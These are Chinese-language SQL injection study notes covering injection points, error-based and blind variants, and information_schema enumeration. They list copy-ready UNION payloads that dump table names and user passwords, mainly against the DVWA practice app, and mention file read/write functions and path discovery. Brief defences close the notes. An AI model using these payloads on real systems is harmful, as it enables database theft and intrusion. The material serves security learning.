sql注入的原理:通过参数的传递,将恶意的sql语句拼接进原本的sql语句中,导致了sql的语法结构被破坏,从而产生了sql注入漏洞。
注入点:
get注入: 注入点在url参数 手工注入or工具注入
post注入: 注入点在请求主体 工具注入
cookies注入: 注入点在cookie 工具注入
xff注入: 注入点在xff头 工具注入
User-Agent注入等: 注入点在http协议中 工具注入
注入点存在注入的必要条件:①参数是可控变量 ②参数被带到数据库里执行
页面有回显,有报错属于普通注入,可以使用union子句构建联合查询注入
页面没回显,有报错可以使用报错型注入
页面没回显,没报错可以使用盲注
查询方式:
select 进行数据显示查询操作 例:select * from news where id=$id
insert 进行用户注册添加等操作 例:insert into news(id,url,text) values(2,'x','$t')
delete 后台管理里面删除文章删除用户等操作 例:delete from news where id=$id
update 后台中心数据同步或缓存等操作 例:update user set pwd='$p' where id=2 and username='admin'
order by 结合表名或列名进行数据排序操作 例:select * from news order by $id
普通注入:
字符型(存在包裹符号):输入1',1",1) 等包裹符号来判断
数字型(利用逻辑判断):1 and 1=1,1 and 1=2 逻辑判断
搜索型(不常用):语法 like '%查询内容%'
脱库操作:一库三表六字段
一库指的是information_schema数据库,属于mysql5.0以上的版本自带的一个数据库,存放了数据库管理系统中所有数据库的信息
三表指的是information_schema数据库里的三个重要表
schemata表:存放了所有数据库的信息
tables表:存放了所有表的信息
columns表:存放了所有字段的信息
六字段指的是三表中的六个重要字段
schemata表的 schema_name 字段:存放具体的数据库名
tables表的 table_name 字段:存放具体的表名
tables表的 table_schema 字段:存放表所在的数据库名
columns表的 column_name 字段:存放具体的字段名
columns表的 table_name 字段:存放字段所在的表名
columns表的 table_schema 字段:存放字段所在的数据库名
通过一库三表六字段我们就可以顺利完成脱库操作
所在数据库脱库操作:
获取数据库名字:-1' union select 1,database() --
获取数据库的表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--
获取字段名:-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--
获取账号,密码:-1' union select group_concat(user),group_concat(password) from users --
跨数据库脱库:
获取数据库名字:-1' union select 1, schema_name from information_schema.schemata --
获取数据库的表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'--
获取字段名:-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' --
获取账号,密码:-1' union select group_concat(user),group_concat(password) from dvwa.users --
一些命令的操作:
version() //获取数据库版本
database() //获取当前数据库名
user() //获取数据库用户名
@@version_compile_os //获取操作系统
文件读写操作
load_file():读取函数,用来读取数据库下的文件;
into outfile或into dumpfile:导出函数
获取路径的常见方法:
报错显示、在注入语法错误时会爆出路径;
遗留文件、比如phpinfo.php文件信息;
漏洞报错、比如根据cms框架的漏洞,搜该漏洞爆路径的漏洞方法来获取路径;
平台配置文件、爆破等。
注入防护方法
1.构造的sql语句时使用参数化形式而不使用拼接方式能够可靠地避免sql注入,主流的数据库和语言都支持参数化形式
2.拼接加对输入进行单引号和sql关键字过滤的方法也能在一定程度上防护sql注入
3.采用sql语句预编译和绑定变量
4.严格检查参数的数据类型,还有可以使用一些安全函数,来防止sql注入
......待补充